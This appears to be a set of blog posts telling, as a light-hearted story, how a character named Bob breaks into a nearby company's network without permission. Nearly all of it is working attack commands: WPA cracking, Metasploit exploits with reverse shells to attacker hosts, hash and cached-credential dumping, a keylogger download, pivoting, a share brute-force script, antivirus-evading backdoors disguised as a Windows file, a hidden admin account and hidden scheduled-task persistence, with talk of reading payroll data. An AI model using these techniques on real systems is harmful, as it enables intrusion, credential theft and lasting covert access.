A couple of days ago a mate at work asked about the security issues surrounding computers that are connected to the company network and also to the Internet via a wifi connection. This question was perfect fodder for a Bob story I thought. So the story goes.......
Bobs a curious fella and he really likes to explore. Lately he's been learning about hacking, nothing evil, just really having a look in places that he shouldn't be looking, you know, a curiosity thing. As Bob sits at home it occurs to him that the perfect target for his hacking adventures is Walliford Fries, a chip maker based in his small town. He has nothing against Wallifords, he doesn't mean them any harm, he's just pissed off at the way the Wallifords are unloading their trucks at 5 in the morning and waking him up. So his intention is to see if he can get onto the Walliford network with some if these free hacking tools he's downloaded from the web and use Wallifords as his new playground.
Bob's not a traditional hacker, he doesn't go to the targets website and spend hours going through the detail, looking for business relationships, email address, job postings etc.. He hasn't even started looking at IP ranges and ports. All Bob has done is fire up his laptop sporting a brand new install of BackTrack4 and looked at whats about on the Wifi.
That's interesting, here he has a WPA network called WF-IT that is no doubt Walliford Fries related, After all, his house is within spitting distance of the Walliford offices. Shame its not WEP though, that could be cracked in minutes. Now Bob knows that his best bet is to customise his word list for this particular target, so he decides to scrape Wallifords website and add all those words to his wordlist.
wget -r http://www.wallifordfries.com
wyd.pl -n -o /root/temp/WF-wordlist.txt /root/www.wallifordfries.com/
cat /root/temp/WF-wordlist.txt | sort | uniq > wordlist2.txt
cat wordlist2.txt | pw-inspector -m 1 -M 20 >WF-customlist.txt
After creating his custom wordlist Bob decides to add it to an existing wordlist. As he'll need to create a hash of his wordlist to bruteforce the WPA key he just opts for his small but popular password list, if this fails he'll have to go for the bigger wordlist he likes to call "Mother", but first he'll opt for the easy option.
cat WF-customlist >>/root/temp/wordlist.txt
Bob now needs to get his wireless sniff on. He puts his wifi card into monitor mode and grabs the necessary BSSIDs of the access point and a client.
airmon-ng start wlan0 11
airodump-ng -c 11 mon0
With the BSSID of the client and the Access Point he starts his capture and saves it to a file.
airodump-ng -c 11 --bssid 00:18:F8:4B:43:86 -w /root/temp/Walliford mon0
With the capture going he sends a few de-auths packets so he can capture the 4 way handshake, this is critical for him to perform his WPA crack.
aireplay-ng -0 1 -a 00:18:F8:4B:43:86 -c 00:11:50:BB:D6:28 mon0
Great, Bob now has all he needs to begin his WPA crack. He quickly generates his hash file from the custom wordlist, hopefully all this effort will pay off.
To generate the hash he uses the genpmk tool from the cowpatty directory.
./genpmk -f /root/temp/wordlist.txt -d /root/temp/hash -s WF-IT
And to crack the key he uses cowpatty.
./cowpatty -r /root/temp/Walliford-01.cap -d /root/temp/hash -s WF-IT
Bingo! Bob got the WPA key in no time at all. He checks it by taking the card out of monitor mode and connecting to the AP.
airmon-ng stop mon0
Excellent, as soon as Bob finishes punching the air and doing his little dance he checks the wifi network for other hosts.
nmap 192.168.2.0/24 -sP
Got one, well two if you count the Linksys AP but lets focus on the one using the Belkin card for now. Wondering what ports it has open Bob puts Nmap to good use, again saving the results to a file.
nmap 192.168.2.102 -sV -oA ~/temp/wal-nmap
Bobs intention is to fire up Nessus and scan his target but first he knows a quick way to check for a vulnerability that he knows he has a working exploit for.
nmap 192.168.2.102 -PN -T4 -p139,445 -n --script=smb-check-vulns --script-args=unsafe=1
Perfect, Nmap has told Bob that he should be able to exploit the remote PC with the conficker exploit. He can't believe that Walliford still has unpatched PC's for this vulnerability. I guess the guys from pauldotcom are right. They have a firewall and they have AV so there safe right? Wrong!
Bob confirms his findings with Nessus and checks for any other vulnerabilities that he might have some fun with.
Well Nessus confirmed the vulnerability from his Nmap scan which is good but it doesn't find much else. Oh well, he saves his scan as an .nbe file so he can feed it into Metasploit.
After firing up Metasploit Bob decides to try out the db_autopwn feature to launch any exploits that it has against the ports it's found open.
db_create walliford
db_import_nessus_nbe /root/temp/walliford.nbe
db_hosts
db_autopwn -p -e -r -t
Oh and time for another crazy dance, Bob gets a session on the remote host and he can see that he's got system privileges which is always nice. He dumps out the local users hashes for some John the Ripper fun later and he checks out the route table. Superb, he can see that the remote host is also connected to the Walliford LAN.
sysinfo
getuid
hashdump
At this point Bob decides at this point to get a little interactive so he pulls up a command prompt on the compromised host.
execute -H -f cmd.exe -i
He TFTP's a couple of handy dandy files from his laptop and grabs the hashes of any domain accounts that have logged into this box. With a hostname such as PC-IT-1 he guesses these are going to be quite useful for his exploration adventures in his new playground.
tftp -i 192.168.2.101 get cachedump.exe
tftp -i 192.168.2.101 get klogger.exe
cachedump.exe
Now he decides to have a little look around on the server. He maps a drive to the IT folder and attempts to have a poke around.
net view \\server01
net use * \\server01\IT
Damn. The NTFS permissions wont allow him access. Then it dawns on him, the system account he is using doesn't have permissions on the server. Maybe not but with a hostname like PC-IT-1 the logged in user probably will have. He comes out of his session lists the processes and then migrates to a process which is running in the context of the user.
quit
ps
getuid
migrate 784
getuid
Perfect, he's migrated to the Explorer.exe process and now he's now running as James. Bob launches an interactive shell again and checks his mapped drives.
execute -H -f cmd.exe -i
net use
I:
Brilliant. Bobs got access to the IT folder. From here he can have a good poke around before he decides his next move. He's got some good old fashioned password cracking to do and times getting on so Bob decides to call t a day for now.
PART 2
So Bob decides to revisit his new found playground at Walliford Fries and get to grips with his new tools. He connects up to the wifi with the password he's already cracked and this time rather than using the Autopwn feature he decides to try something else. Bob's idea is to use the PC he exploited previously as a point to launch other attacks deeper into the network.
Bob launches his trusty MS08-067 exploit this time with a meterpreter/reverse_tcp payload
use windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set RHOST 192.168.1.102
set ExitOnSession False
exploit -j -z
Excellent, Bob gets his session. He connects to the session and checks the network settings on his compromised host.
sessions -i 1
execute -H -f cmd.exe -i
ipconfig
While he is on the remote host Bob checks a few things, ideally he could do with knowing about the network servers. At this point he just wants the basics, name & IP.
Net view
And he could do with the IP addresses too. He'll want these for his scans.
ping -n 1 server01
ping -n 1 server02
That'll do for now. Bob comes out of the shell, backgrounds his meterpreter session and creates a route pointing to the internal LAN through his session.
exit
background
route add 10.0.1.0 255.255.255.0 1
route print
Now time to see if the magic works. Bob selects the auxiliary scanner and checks the OS versions of the two servers on the internal LAN by pivoting through his compromised host.
use auxiliary/scanner/smb/version
set RHOSTS 10.0.1.230
run
set RHOSTS 10.0.1.231
run
Hmmm, interesting. Windows 2003 with no service pack. Bob wonders if he can exploit that through the pivot?
use windows/smb/ms08_067_netapi
set RHOST 10.0.1.231
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
Bugger! No such luck. Hang on though, Bob remembers something he read once. He can use Mubix's handy dandy deploymsf script to install Metasploit on his compromised host. Perfect!
He grabs files he needs from the web, putting them into his plugin directory.
cd /pentest/exploits/framework3/plugins/
wget http://metasploit.com/releases/framework-3.3-dev.exe
wget http://www.room362.com/scripts-and-programs/metasploit/deploymsf.rb
And then it's just a case of connecting back to his session on the pwned box, running the script and pointing it to the metasploit executable.
sessions -i 1
run deploymsf.rb -f ../../../pentest/exploits/framework3/plugins/framework-3.3-dev.exe
Holly crap Batman! look at that. Bob has installed Metasploit on the host he compromised, thanks to a weak password on the wireless LAN and a missing patch or two.
Now the output isnt always pretty but it gets the job done.
So whats next? Well there is that server with no service pack to take care of. For that Bob will try his old faithful ms06_040 exploit.
use windows/smb/ms06_040_netapi
set RHOST 10.0.1.231
set PAYLOAD windows/meterpreter/reverse_tcp
exploit
Perfect, another box to play with. Now Bob wants to dig in deep so he can play on this network for as long as possible so he's going to need to start pulling together some serious information. He could get this all manually but of course that's pretty dumb, especially when he can use Dark Operators excellent WinEnum script. This will go out and grab nearly everything he wants so he acn understand the network better and stick it all in one big text file so Bob has some bedtime reading. As Bobs already sitting in a meterpreter session he simply runs the WinEnum script.
run winenum
Sorted. Again it's getting late so Bob decides to call it a day. Before he does though he needs to leave himself a few backdoors.......which will of course be in the next post.
Bob Prepares For Action
Bobs back and he's been thinking about his new playground. He's realised that if he's not careful he'll attract attention and get into trouble, so he needs to lay down some ground-rules and define some goals before he goes back on the Wallifords network. If he's going to get the maximum benefit from Wallifords as a training ground rather than a playground he needs to get serious and stop recklessly throwing exploits at any old box.Goal 1
To extract as much information about the Walliford Network as possible.
Goal 2
To identify high value targets and gain access to those systems.
Goal 3
To remain undetected.
Goal 4
To generally have fun, learn his tools and practice his techniques.
Pretty simple goals eh. Bob knows that to remain undetected he's going to have to use as many tools that are already on the compromised host as he can. He knows that he needs to use as many legitimate tools as possible and only upload those that won't be detected by AV.
Getting his tools onto the compromised hosts is important, but uploading them one by one is a pain in the arse. Then Bob remembers something he heard in a great presentation on post exploitation from Dean Der Beer, a reference to a tool called Metacab. He takes a look at Metacab but decides against using it. Bob really likes the idea of Metacab but he wants a different set of tools so he goes about making his own version. Using the Makecab tool already in XP he creates a cab file containing the few additional tools he needs, knowing he can upload and extract the files from the cab with native windows tools from straight from the command-line.
The one tool he cannot do without is netcat but AV picks it up quite easily. Then Bob remembers that his Nmap directory has ncat, a new version of netcat with loads of additional features. Bob runs it through virustotal to see what gives.
Perfect, only detected by one AV product out of 41. Now Bob knows that he can use this tool for file transfer, creating proxies and even backdoors. Many of the other tools he decides to include in the cab file come from the Windows Resource Kit. This means that there is very little chance of them being detected by AV or looking like Potentially Unwanted Applications (PUA) on the host.
Tools List
cmd.exe
dsadd.exe
dsget.exe
dsquery.exe
edit.com
ncat.exe
net.exe
ngrep.exe
pmon.exe
PortQry.exe
reg.exe
srvinfo.exe
WinDump.exe
As expected VirusTotal finds nothing wrong with his other tools, but then again why would it.
So looking at his tools Bob has his ncat for backdoors and file transfer, he has a port scanner, pmon for keeping an eye on his hosts CPU and memory, tools for extracting anything out of Active Directory, packet sniffers, SrvInfo which is great for looking at details of servers. He also includes a couple of standard tools such as Net.exe and Cmd.exe which are there just encase they had been removed by the Sys Admin. Hopefully he's got everything he needs for a successful expedition into the Walliford Fries network. If not, he'll go back to the drawingboard and create a new cab file.
Bob also creates a few bat files that he can use for scanning and password checks. It's easier to create these now and include them in the cab than it is to write them on the fly.
His first bat file is a simple bruteforce script that will use in-built windows functions to bruteforce shares. He'll supply a userlist (names.txt) and a common password list (words.txt) to the bat file. The password list will be common passwords and can be tweaked using the inbuilt DOS Edit tool when he's on the target, and the userlists will be generated from his enumeration tool dsquery . After running the bruteforce script any succesfull logins will be saved to a text file (creds.txt). Bob knows from performing password audits in his other life that even when complex passwords are enforced users will still pick dumb complex passwords, such as Password01. And when it comes to change it......well of course were looking at Password02!
Before any bruteforcing is done Bob will be checking the password policies so he doesn't trip any account lockout thresholds. So if the account lockout policy triggers after 3 incorrect attempts in half an hour he'll just try 2 common passwords on all accounts. As they say, slow and steady wins the race.
Set /P target="Enter Target To Perform BF on:"
For /F %%i in (names.txt) do @(for /f %%j in (words.txt) do @echo %%i:%%j & @net use \\%target% %%j /u:%%i 2>nul && echo %%i:%%j >> ./creds.txt && net use \\%target% /del)
Bob will use the either net.exe or dsquery.exe to populate his names.txt file. Dsquery is fantastic for ripping through Active Directory and if you know what your doing you can use them to pretty much find out anything about users and computers. The beauty is, these tools can be run from any user account, so you don't need to pop an admins box to get some juicy info.
The next bat file that bob will include is to check for hosts that respond to a ping and output the results to a file.
set /P subnet="Enter subnet:"
for /L %%i in (1,1,255) do @ping -n 1 -w 1 %subnet%.%%i | find "Reply"
Another bat file is created to perform reverse lookups using a nslookup FOR loop.
set /P subnet="Enter subnet:"
For /L %%i in (1,1,255) do @nslookup %subnet%.%%i 2>nul | find "Name" && echo %subnet%.%%i
And finally a bat file to use the Portqry tool for port scans against hosts in a host file (hosts.txt). Again he can use dsquery or net.exe to populate the hosts file.
For /F %%i in (hosts.txt) do @PortQry.exe -n %%i -o 21,22,23,25,80,139,445,3389,1433 -p tcp
Ok, that'll do for now. Bob builds his ddf file for his cab file and creates the cab.
;*** MakeCAB Directive File for bin
;
.OPTION EXPLICIT ;*** Generate errors
.Set MaxCabinetSize=0
.Set MaxDiskSize=0
.Set CabinetNameTemplate=bin.cab
.set DiskDirectoryTemplate=CDROM ;
.Set CompressionType=MSZIP ;
.Set UniqueFiles="OFF"
.Set Cabinet=on
.Set DiskDirectory1=bin bf.bat
cmd.exe
dsadd.exe
dsget.exe
dsquery.exe
edit.com
hosts.txt
names.txt
ncat.exe
net.exe
ngrep.exe
pingsweep.bat
pmon.exe
port-scan.bat
PortQry.exe
reg.exe
rev-lookup.bat
srvinfo.exe
WinDump.exe
words.txt
;*** EOF
And to build his super duper cab, he makes sure all the tools, bat files and the bin.ddf file is in the same directory and.....
makecab /F bin.ddf
Perfect, after building his cab file it comes in at less than 1MB, Bob honestly couldn't be happier. He'll have to use the windows built-in tool called Expand.exe to get his files out of the cab.
expand /F:* bin.cab .
Right with that done Bob is almost ready to hop onto his target and put his tools to good use and start his network exploration.
Bob The Backdoor Man - Part 1
Bob hears on the grapevine that ncat won't work as a single executable. This is a bit of a bugger and it does give Bob a problem. His intention was to use ncat for file transfers, proxies and backdoors. It was also pretty useful that it was pretty much undetected by AV.Luckily for Bob he hears from a good friend that it's quite possible to modify netcat to be able to bypass anti-virus software. And luckily for Bob, the most talented Muts has created a video that shows him exactly how to do that here.
This problem also presents Bob with the perfect opportunity to get his hands dirty with some msfpayload love. He reckons that if he creates a couple of payloads to add into his cab file he should be able to do everything he needs. And the beauty of using msfpayload is he'll be able to run them through msfencode to bypass most anti-virus.
Before Bob creates his payloads he grabs a copy of winmsd.exe from his Windows OS. It doesn't really matter to him what file it is he just wants one that is a Microsoft file. He want this because all his payloads can take on the characteristics of the file. Rather than going to great lengths to hide a file, Bobs opinion is that hiding in plain site will probably be better.
Payload 1
For Bobs first payload he wants to create a generic payload that will spawn a command shell when he connects to it on port 6666.
./msfpayload windows/shell_bind_tcp LPORT=6666 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd16.exe
Bob has specified a payload that will bind a shell to port 6666. He outputs this in raw format to the msfencode program that will help avoid detection by anti-virus software. Finally he has specified that the file is called winmsd16.exe and upon physical inspection it will look just like the original winmsd.exe file.
After Bob creates the file he tests it out on his XP VM to make sure it works as expected.
Side by side it looks just like the original file, it is identical in size and looks just as through its a legitimate file from Microsoft.
Bob runs the file and checks he can connect to it with netcat.
nc 10.0.1.10 6666
Payload 2
Bobs second payload will connect back to him when he's on the wireless network and present him with a meterpreter shell.
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.102 LPORT=8080 R | ./msfencode -t exe -x /root/payloads/winmsd.exe -o /root/payloads/winmsd32.exe
Again Bob uses a legitimate file to copy the characteristics from. This time on his host he has to make sure he has his listener ready on port 8080.
Bob decides that when he creates his listener he'll use msfconsole and pass the following commands:
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
set LPORT 8080
set ExitOnSession false
set AutoRunScript winenum.rb
exploit -j -z
Bob has configured his listener to accept multiple sessions coming back to him, and the very useful winenum script developed by Carlos "Dark operator" Perez will run against each connecting host. All the information from the script will be stored in ~/.msf/logs/ Bob may well decide to change this at a later date to another script but for now he's very happy.
With his modified netcat and his payloads created and tested Bob rebuilds his cab file and goes to get his dinner. He knows that during his network exploration adventures he may well come up against some problems that will cause him to create some payloads on the fly but he'll deal with that when it happens.
Whilst eating his dinner Bob begins to worry that if the Admins at Walliford Fries patch the computers he may well lose his way in. By the time Bob has eaten his ice cream desert he has come up with a few ideas how he might overcome this particular problem.
Bob The Backdoor Man - Part 2
The very next day Bob feels ready to hop back onto his compromised host on the Walliford Fries LAN and get his back doors planted. He logs into the wireless network with the WPA key he cracked earlier and he uses the gets a shell on the unpatched PC with the MS08-067 exploit.use windows/smb/ms08_067_netapi
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.102
set LPORT 8181
set RHOST 192.168.2.101
exploit
Bob migrates to a stable process then uploads his backdoors to the Windows\System32 directory using Meterpreters upload function.
migrate 714
lcd /root/payloads
upload winmsd32.exe
upload winmsd16.exe
After Bob lauches a shell he creates a new user and adds it to the Administrators, Power Users and the Backup Operators groups
shell
net user MS_Support31337 Support31337 /add
net localgroup Administrators MS_Support31337 /add
net localgroup "Backup Operators" MS_Support31337 /add
net localgroup "Power Users" MS_Support31337 /add
He choose these privileged groups as a group policy may be configured to control the local Administrators group and by remaining in the other groups he will still have a high level of access.
Now Bob wants to get down to business and plant some of these lovely backdoors he's created. Bobs first port of call is to create a registry entry to run his meterpreter payload and connect back to Bob each time the computer is booted.
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Microsoft winmsd32" /d "C:\Windows\System32\winmsd32.exe"
Bob check that his registry entry has been set using the reg query command.
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Then it occurs to Bob that someone may well stumble across his registry entry and remove it so he decides to have a backup by creating some scheduled tasks. One task (the meterpeter reverse connect) will run every 10 minutes and the other (the listening shell) will run at startup.
schtasks /create /tn "Winmsd32" /tr C:\Windows\System32\winmsd32.exe /sc minute /mo 10 /RU "NT AUTHORITY\SYSTEM"
schtasks /create /tn "Winmsd16" /tr C:\Windows\System32\winmsd16.exe /sc onstart /RU "NT AUTHORITY\SYSTEM"
Now the only way the normal logged in user would see these Scheduled Tasks is by looking at the directory using a command prompt. Only an Administrator running schtasks on the PC would see these scheduled tasks, anyone else will see nothing. Even looking at the C:\Windows\Tasks folder through explorer wouldn't show the tasks as it will only show the current users tasks.
Bobs pretty happy about this but what would make him happier would be if it was really really hard to see his backdoors. Then it occurs to him that by changing the attributes on the jobs in the tasks folder it would be really really hard as the user would have to do a "dir /a:h *.*" on the directory specifically. Okay, so thats not really really hard but it is a bit of a bugger!
cd \windows\tasks
Attrib +H winmsd*.job
Then Bob checks his handy work by looking at just hidden files.
Great, Bob fires up another instance of msfconsole and sets up his handler for the sessions that should start coming in.
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.2.102
set LPORT 8080
set ExitOnSession false
set AutoRunScript winenum.rb
exploit -j -z
Within a minute or 2 Bob gets a session from his scheduled task backdoor.
What he really likes about these scheduled tasks is he wont get loads of sessions back from the same host, but if he looses connection he'll get another session back 10 minutes later. Also, every now and then Bob can change the AutoRunScript so Metasploit can gather all sorts of useful information on his behalf.
Now Bob is in, he has his backdoors sorted and he wants to have a look around to see what else might be interesting. Bob has a knows a guy who works for Wallifords. Now this guys is a bit of a dick and is always boasting about how much he earns. Bobs sure the guy exaggerates, wouldn't it be nice if Bob could access the payroll data and see if this guy is telling the truth?
Oh, look at that, lunch time. Bob goes and gets his dinner and has a think about what other interesting things he might be able to find on the Walliford network.
